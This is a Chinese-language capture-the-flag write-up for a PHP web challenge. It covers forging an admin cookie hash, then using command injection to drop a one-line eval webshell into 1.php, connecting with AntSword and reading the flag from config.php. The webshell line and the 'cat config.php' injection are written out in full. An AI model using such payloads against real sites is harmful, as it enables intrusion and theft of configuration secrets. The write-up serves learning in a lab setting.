打开页面,几秒后会跳转到这个页面。先检查源码,没有隐藏链接或提示。
然后尝试用dirsearch进行扫描。
没有任何隐藏目录。
这时注意到
它说我们的'mode'是'guest'。
而跳转的页面正好有mode参数,就猜测 改变mode应该能进入其他页面。
将mode=0,一次就尝试成功,看到页面源码。
我对php不太了解,选择用文心一言分析了源代码,大致了解了意思。
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
这是代码的核心板块。
switch第二个条件会对cmd进行过滤,所有我们应满足第一个条件。
通过阅读,发现,就是让request中的cookie的secret的值等于md5('admin'.$config['secret']).
所以我根据源码编写
<?php $config['secret'] = Array();
echo md5('admin'.$config['secret']); ?>
然后放到线上的php环境中运行,成功得到结果。
然后用burpsuite抓包,并修改参数。
要注意的是exec()好像只能执行linux命令行代码,不能直接执行php代码,我在这研究了好久为什么我的php代码没被执行。
echo '<?php @eval($_POST['attack']); ?>' > 1.php
我选择把cmd参数设置为这个,将一句话木马写入1.php文件,注意,后缀不能是txt。否则蚁剑不能连接。最后发包,然后用蚁剑连接即可,在config.php中找到flag。
---------------------------------------------------------------------------------------------------------------------------------
我在其他wp中发现他们cmd的参数为
cat config.php > 1.txt
询问一些大佬后得知因为config.php为配置文件,所以直接猜测flag在其中。
至于其他wp提到的parse_url()的覆盖问题我不太了解也没考虑到。